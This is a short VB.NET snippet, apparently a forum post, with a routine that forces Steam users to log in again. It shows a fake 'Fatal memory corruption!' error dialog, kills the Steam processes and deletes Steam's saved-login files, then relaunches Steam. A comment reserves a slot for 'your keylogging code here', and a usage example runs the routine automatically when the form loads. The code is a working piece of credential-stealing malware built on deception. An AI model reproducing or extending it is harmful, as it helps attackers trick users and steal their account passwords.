Public Sub ForceSteamLogin()
        On Error Resume Next
        Dim steampath As String = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\Steam"
        Dim configpath As String = steampath & "\config"
        Dim AppDataFile As String = configpath & "\SteamAppData.vdf"
        Dim ClientRegistry As String = steampath & "\ClientRegistry.blob"
        Dim pProcess() As Process = System.Diagnostics.Process.GetProcessesByName("steam")
        MsgBox("Fatal memory corruption!" & vbCrLf & "Steam is restarting.", MsgBoxStyle.Critical, "Steam - Error!")
        For Each p As Process In pProcess
            p.Kill()
        Next
        If IO.File.Exists(AppDataFile) Then
            IO.File.Delete(AppDataFile)
        End If
        If IO.File.Exists(ClientRegistry) Then
            IO.File.Delete(ClientRegistry)
        End If
        Me.Hide()
        Process.Start(steampath & "\steam.exe")
        'your keylogging code here...
'End
    End Sub





==============


Usage:

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        ForceSteamLogin()
    End Sub